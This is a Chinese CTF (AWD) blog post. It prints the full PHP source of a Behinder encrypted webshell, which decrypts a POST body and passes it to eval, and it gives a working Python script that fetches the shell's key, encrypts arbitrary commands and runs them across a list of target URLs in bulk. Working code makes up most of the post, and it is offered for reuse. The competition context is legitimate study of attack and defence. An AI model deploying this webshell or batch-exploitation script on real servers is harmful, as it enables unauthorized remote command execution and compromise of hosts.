昨晚打了星盟的awd,被ex师傅带飞了,我全场除了补洞基本0贡献,在比赛过程中遇到了冰蝎的马,就在想能不能做一个批量利用:
<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) { $key = substr(md5(uniqid(rand())), 16); $_SESSION['k'] = $key; print $key;//能够直接取key } else { $key = $_SESSION['k'];//key是在session中存着的 $post = file_get_contents("php://input");//获取post内容 if (!extension_loaded('openssl')) {//不存在openssl时候采用另一种加密方式 $t = "base64_" . "decode"; $post = $t($post . ""); for ($i = 0; $i < strlen($post); $i++) { $post[$i] = $post[$i] ^ $key[$i + 1 & 15];//异或可以直接反向加解密 } } else { $post = openssl_decrypt($post, "AES128", $key);//aes解密 } $arr = explode('|', $post);//用|作为分隔符,取[1]来eval $func = $arr[0];//不明白这个变量有什么用处?可能是留给用户自己扩展吧,抓了下冰蟹流量这个地方是assert,但是实际上并没有用到 $params = $arr[1]; class C { public function __construct($p) { eval($p . ""); } } @new C($params); }
可是我之前并没有用过冰蝎,也没有见过,所以单纯就把这个当成了普普通通的马儿。(往届星盟awd也同样遇到过好几次这个马,但是我当时都是直接删掉,没有很在意)然后本地试了半天,手动骑,,,
后来师傅们甩给我一个冰蝎,发现可以直接连,去死的心都有了,,
不过用冰蝎的话,批量连接很麻烦,要是一个个点的话可能别队都删完了你都没能点上一个。所以我分析了下源码,写了个能够批量连接冰蝎执行命令的接口(发现之前fz41师傅写了一个初级版本:https://xz.aliyun.com/t/6520 )
这个东西吧,没啥技术含量,能够用到的地方也特别少(似乎也就awd用得到吧?不过我的冰蝎有时候连接不上,但是用脚本可以,不知道什么原因)但是写起来挺有趣的,也有几个小坑,关键代码如下:
def Behinder_aes_enc(command, key): import os command = "|echo \\'hacked by 12end!\\';" + command str = "php -r \"echo @openssl_encrypt('%s', 'AES128', '%s');\"" % (command, key) try: str = os.popen(str).readline() except: str = "" return str def Behinder_b64_enc(command, key): import base64, urllib command = "|echo 'hacked by 12end!';" + command + "//" str = "" for i in range(0, len(command)): str += chr(ord(command[i]) ^ ord(key[((i + 1) & 15)])) str = base64.b64encode(str.encode("utf-8")).decode() str = urllib.parse.quote(str) # print(str) return str def Behinder_exec(url, command): sess = requests.session() key = sess.get(url + "?pass", timeout=3).text str = Behinder_aes_enc(command, key) result = sess.post(url, json=str).text if "12end" not in result: str = Behinder_b64_enc(command, key) result = sess.post(url, json=str, timeout=3).text sess.close() return result def fuck_allBehinder(urls, command): for url in urls: Behinder_exec(url, command) if __name__ == "__main__": urls = [] command = "" fuck_allBehinder(urls, command)
Behinder_aes_enc
和Behinder_b64_enc
分别用来通过command和key获取post字符串,因为不确定目标服务器是否开启了openssl扩展,所以默认在command里面添加了echo,并通过检查返回中的特定字符串来判断是否执行成功。如果失败,就会调用另一种加密方法。
在b64_enc中有个坑,能够发现我在command
后面添加了php注释符//
,这是因为我在调试过程中发现解密出来的command字符串后面会有一些奇怪字符,因为base643位一加密,4位一解密,而把这些字符放到eval里面显然是会报错的,所以就直接注释掉(这显然是一个无脑的方法)
把openssl扩展关了(因为问题出在b64那部分)修改冰蝎输出post变量:
可以看到会有一些多余字符(能够执行是因为我加了注释符):
如果觉得不够优雅,还可以判断位数来加pad字符
这个脚本也就供不时之需了,因为预置冰蟹的awd也确实不多好像,如果手快的话,写一个列表表达式导入url,在比赛开始1分钟拿到大部分shell也不是梦哈哈。